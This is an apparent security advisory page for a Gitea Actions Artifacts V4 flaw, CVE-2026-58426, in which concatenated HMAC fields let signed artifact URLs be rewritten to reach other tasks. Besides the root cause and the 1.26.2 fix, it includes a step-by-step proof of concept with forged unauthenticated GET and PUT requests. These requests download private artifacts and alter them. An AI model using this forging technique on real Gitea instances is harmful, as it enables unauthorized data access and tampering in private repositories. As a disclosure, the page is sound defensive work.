CVE-2026-58426: Gitea Actions Artifacts V4 HMAC Signature Ambiguity
A flaw in how Gitea signs V4 artifact URLs lets an attacker holding a valid signed URL rewrite it to access a different task or private repository without breaking the HMAC, enabling unauthorized arti
The problem
Gitea Actions Artifacts V4 builds signed URLs using a raw concatenation of endpoint, expiry, artifactName, taskID, and artifactID into an HMAC-SHA256 with no delimiters or length prefixes. Because the fields share no boundaries, two different tuples can produce an identical HMAC input, making signatures transferable across contexts.
The signed URL handlers are unauthenticated. After verifying the HMAC, the server looks up the actual artifact by the URL-supplied taskID and artifactName, not by the signed artifactID. An attacker with any running Actions job can obtain a legitimate signed URL for their own artifact, then rewrite taskID and artifactName to point at a victim task in a private repository while keeping the original signature intact.
Proof of concept
A working proof-of-concept for CVE-2026-58426 in code.gitea.io/gitea, with the exact payload below.
# 1. Attacker holds a legitimate signed URL for their artifact:
# artifactName = "artifact-795-153"
# taskID = 48
# artifactID = <N> (attacker's artifact DB id)
#
# 2. Rewrite the URL query parameters to forge a new tuple whose
# HMAC input suffix is identical:
# artifactName = "artifact-795-1" (drop last two digits from name)
# taskID = 53 (absorb "53" from the dropped chars)
# artifactID = 48<N> (prepend original taskID digits)
#
# Both tuples produce the same concatenated HMAC input:
# "artifact-795-1" + "53" + "48<N>" == "artifact-795-153" + "48" + "<N>"
#
# 3. Send the forged DownloadArtifact GET unauthenticated:
GET /api/actions/artifacts?endpoint=DownloadArtifact
&artifactName=artifact-795-1
&taskID=53
&artifactID=48<N>
&expires=<original_expiry>
&sig=<original_hmac_unchanged>
# Server verifies HMAC (passes), loads task 53 (target, running),
# resolves artifact by run/attempt/name, and serves private artifact.
#
# 4. Same rewrite on UploadArtifact URL:
PUT /api/actions/artifacts?endpoint=UploadArtifact
&artifactName=artifact-795-1
&taskID=53
&artifactID=48<N>
&expires=<original_expiry>
&sig=<original_hmac_unchanged>
&comp=appendBlock
# Server appends attacker-controlled bytes to target artifact staging
# and mutates target artifact metadata (FileSize, FileCompressedSize).The root cause (CWE-347) is in buildSignature() at routers/api/actions/artifactsv4.go: fields are written sequentially into the HMAC with no delimiters, so the byte stream "artifact-795-1" + "53" + "48N" is indistinguishable from "artifact-795-153" + "48" + "N".
This is a classic length/boundary ambiguity in MAC construction.
After verifying the MAC, verifySignature() trusts the URL-supplied taskID and artifactName directly. The artifact is then fetched by (run_id, run_attempt_id, artifact_name), never by the signed artifactID. So the signature does not bind the request to any one artifact or repository.
The fix in PR #37707 replaces raw concatenation with an unambiguous canonical payload, ensuring each field is separately bounded so no two distinct tuples can share the same HMAC input.
The fix
Upgrade to Gitea 1.26.2 or later. The patch (commit 1c2d5e9b03f71dd12d450b2af9a79f2557b50226, PR #37707) rewrites buildSignature() to produce an unambiguous signed payload, preventing any tuple-boundary collision. Instances on Gitea 1.22.0 through 1.26.1 with Actions enabled are affected and should upgrade immediately.
Reported by lunny (fix); reporter not publicly named in advisory.
Related research
- high · 7.5CVE-2026-58419CVE-2026-58419: Gitea Notification API Private Issue Metadata Leak After Access Revocation
- highCVE-2026-58422CVE-2026-58422: Gitea OAuth2 Callback Improper Access Control Silently Re-enables Disabled Accounts
- high · 7.1CVE-2026-20779CVE-2026-20779: Gitea TOTP Passcode Capture-Replay via Basic-Auth and TOCTOU Race
- high · 7.5CVE-2026-24451CVE-2026-24451: Gitea Fork Sync Information Disclosure via merge-upstream